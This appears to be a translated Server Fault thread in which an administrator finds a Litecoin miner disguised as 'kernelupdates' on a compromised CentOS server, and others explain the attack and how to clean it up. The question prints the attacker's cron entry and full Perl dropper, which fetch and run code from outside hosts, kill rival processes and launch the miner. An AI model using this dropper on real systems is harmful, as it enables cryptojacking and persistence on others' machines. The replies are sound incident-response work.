Назад | Перейти на главную страницу

./kernelupdates 100% использование процессора

У меня есть сервер CENTOS6, работающий с некоторыми веб-сайтами wordpress и tomcat. Последние два дня он постоянно дает сбой. После расследования мы обнаружили, что обновление бинарного файла ядра потребляет 100% ЦП на сервере. Процесс описан ниже.

./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

Но этот процесс кажется недопустимым для обновления ядра. Возможно, сервер скомпрометирован, и этот процесс установлен хакером, поэтому я убил этот процесс и удалил записи cron пользователя apache.

Но каким-то образом этот процесс начался снова через пару часов, и записи cron также восстановлены, я ищу то, что изменяет задания cron.

Относится ли этот процесс к процессу майнинга?
Как мы можем остановить модификацию cronjob и очистить исходный код этого процесса?

Запись в Cron (пользователь apache)

/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*

abc.txt

#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
$rn=int(rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig=`wget --version | grep GNU`;
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";

Это процесс майнера Litecoin (альтернативной криптовалюты). Кто-то, имеющий доступ к вашему серверу, использует ваш сервер для генерации Litecoin (= зарабатывания денег). В kernelupdates имя, скорее всего, просто запутает вас.

Прежде чем что-либо удалять, я бы порекомендовал сделать резервную копию всего, что у вас есть, и узнать, как это было помещено на ваш сервер. Если вы удалите его, но не устраните проблему безопасности, очень вероятно, что он вернется. Я бы сделал ставку на Wordpress или какой-нибудь устаревший плагин, имеющий дыру в безопасности.

После обнаружения и, конечно, устранения проблемы с безопасностью, попробуйте просмотреть журналы cron в системном журнале. Это может дать вам представление о том, как вставляется задание cron.

Произошло с одним из моих клиентов. Одно простое исправление, когда вы обнаружите дыру в безопасности, - это предотвратить загрузку с updates.dyndn-web.com, а также отключить crontab для затронутого пользователя. (crontab + bin / ложные решения, упомянутые ранее)

echo "www-data" >> /etc/cron.deny

Это отключит crontab для пользовательских www-данных.

Следующее отключит загрузку скриптов с updates.dyndn-web.com.

127.0.0.1       updates.dyndn-web.com   #http://serverfault.com/questions/598522/kernelupdates-100-cpu-usage

Примечание: используемый скрипт убивает "именованную" систему ("killall -9 named");

Я только что написал в Твиттере @wemineltc, чтобы попросить их забанить пользователя spdrman и передать его / ее LTC на благотворительность, я приглашаю вас сделать ретвит.

https://twitter.com/jflaflamme/status/473307793240248320

У меня тоже такая штука, видимо как-то просочился пароль одного пользователя. Что я сделал до сих пор:

Убил процесс с -9 (это был единственный пользователь)
Очистил crontab этого пользователя с помощью sudo crontab -e -u <user>
Отключил вход этого пользователя с sudo usermod -s /usr/sbin/nologin <user> (пытаться /sbin/nologin или /bin/false если это недоступно)
Сменил пароль пользователя и удалил ~/.ssh/authorized_keys
Пользователь мог писать в корневую документацию веб-сайта с поддержкой PHP. Поэтому я отключил этот сайт. Если они где-то разместили плохой скрипт, они могут снова запустить процессы.
Проверить, не запустился ли процесс заново (был, повторить пока все)
Установлены chkrootkit & rkhunter и запустил (только ложные срабатывания)

Следующее, что нужно сделать, это перестроить весь сервер. Это просто виртуальная машина, и я все равно хотел автоматизировать настройку, используя Ansible, но делать это в спешке все равно неинтересно. Но это единственный способ убедиться, что ничего не подделано.

Я просто был скомпрометирован этим на моем сервере. В своих журналах я вижу, что меня ударили по старому сайту wordpress, а через несколько секунд у них снова и снова выполнялись задания cron. Интересно, что у меня есть этот сайт уже довольно давно, и это произошло только тогда, когда я перешел на nginx и php-fpm, ваша настройка такая же?

Я надеюсь, что все, что произошло, это то, что они смогли установить эти задания cron через уязвимость в php / wordpress, в основном они:

Получил доступ к оболочке и выполнил crontab -e чтобы запустить cron
Задание cron помещает скрипт в /tmp/abc.txt.1 и выполняет это
Скрипт загружает майнер litecoin в /etc/.ice-unix переименовывает это kernelupdates и запускает это
Они гарантируют, что майнер останется на месте, снова и снова запуская эту работу cron.

Также обратите внимание, что имя пользователя litecoin немного варьируется между spdrman.2 и spdrman.10.

Во-первых, проверьте свой / etc / passwd для своего пользователя apache. Моя оболочка была тупо настроена на /bin/bash это, вероятно, безопаснее установить как /bin/false

Также, если возможно, убедитесь, что ваш пользователь apache не может выполнять такие команды, как crontab, wget, или curl чтобы это не повторилось. Эти команды, кажется, лежат в основе того, что они делали, когда вошли.

В качестве меры предосторожности я снова меняю свой порт ssh, я дважды проверил и установил PermitRootLogin no в настройках sshd, поэтому я почти уверен, что они не могли войти напрямую как root

Согласно представленному вами сценарию perl, ваш сервер был скомпрометирован. Я настоятельно рекомендую установить chrootkit (yum install chrootkit) и проверить файловую систему. Я также рекомендую отключить это задание cron, чтобы руткит не обновлялся.

Та же проблема на сервере opensuse пять дней назад; используемый скрипт - это именно то, что я нашел на своем сервере (тот же набор имен пользователей и пароля), тот же cron, at и ips. Также проверьте наличие зависшего процесса / usr / bin / host с помощью ps; процесс загружает динамическую библиотеку с LD_PRELOAD, в моем случае libworker.so (удаляется каждый раз, когда / usr / bin / host вызывается из задания at), который пытается подключиться к update-dyndn-web.com, выполняя POST-запрос. ../xenta.php. Он работает с модифицированным шелл-кодом (дампер написан на php и подходит для использования с wordpress), который используется для создания динамической библиотеки.

Надеюсь, это поможет.